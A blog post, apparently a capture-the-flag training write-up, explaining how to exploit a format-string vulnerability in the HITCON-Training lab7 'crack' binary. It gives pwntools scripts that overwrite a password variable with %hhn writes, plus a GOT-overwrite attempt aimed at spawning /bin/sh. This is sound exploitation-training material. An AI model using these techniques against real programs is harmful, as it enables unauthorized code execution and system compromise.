暑假集训——Hitcon_Trainning——lab7_crack——格式化字符串漏洞

格式化字符串漏洞

非getshell

思路

  • 按代码的逻辑来说,是要求猜一个随机数,如果这里的cat flag的确有这个flag的话,那么覆盖password成为指定内容就可以做完了。
    在这里插入图片描述
    在这里插入图片描述
    password是一个bss段的变量,而checksec发现

地址随机化没开,所以password的地址确定了。
在这里插入图片描述

  • payload
    在这里插入图片描述
    buf是第十个参数,干脆把他覆盖成0。然后再加上前面格式化字符串的长度,可以得到地址开始是第17个参数。
payload="%17$hhn%18$hhn%19$hhn%20$hhnA"+p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a050)+p32(0x0804a051)
from pwn import *
import time 
#context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

sh=process("./crack")
context.log_level='debug'

#gdb.attach(sh)
payload="%17$hhn%18$hhn%19$hhn%20$hhn"+p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)

sh.sendlineafter("name ? ",payload)
time.sleep(0.1)
sh.sendlineafter(':','0')

sh.interactive()
sh.close()

getshell

  • 我大胆想象一下,如果我把atoi的got表给改成system的plt表…
from pwn import *
import time 
#context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

sh=process("./crack")
elf=ELF("./crack")
context.log_level='debug'

#gdb.attach(sh)

atoi_got_addr=elf.got['atoi']
system_plt_addr=elf.plt['system']

payload=fmtstr_payload(10,{atoi_got_addr:system_plt_addr})

sh.sendlineafter('? ',payload)
time.sleep(0.1)
sh.sendlineafter(':',"/bin/sh")

sh.interactive()
sh.close()

plt表是不可写的= =。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值